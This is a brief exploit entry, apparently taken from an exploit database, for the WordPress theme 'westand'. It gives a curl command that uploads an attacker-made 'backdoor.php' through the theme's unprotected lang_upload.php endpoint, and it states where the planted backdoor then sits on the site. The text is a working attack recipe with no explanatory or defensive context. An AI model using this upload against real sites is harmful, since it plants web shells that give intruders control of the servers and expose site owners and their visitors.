## https://sploitus.com/exploit?id=WPEX-ID:9AB3D6CF-AAD7-41BC-9AAE-DC5313F12F7C
Create a malicious file "backdoor.php", then curl https://website.com/wp-content/themes/westand/include/lang_upload.php -F "mofile[]=@backdoor.php"
The file will be at https://example.com/wp-content/themes/westand/languages/backdoor.php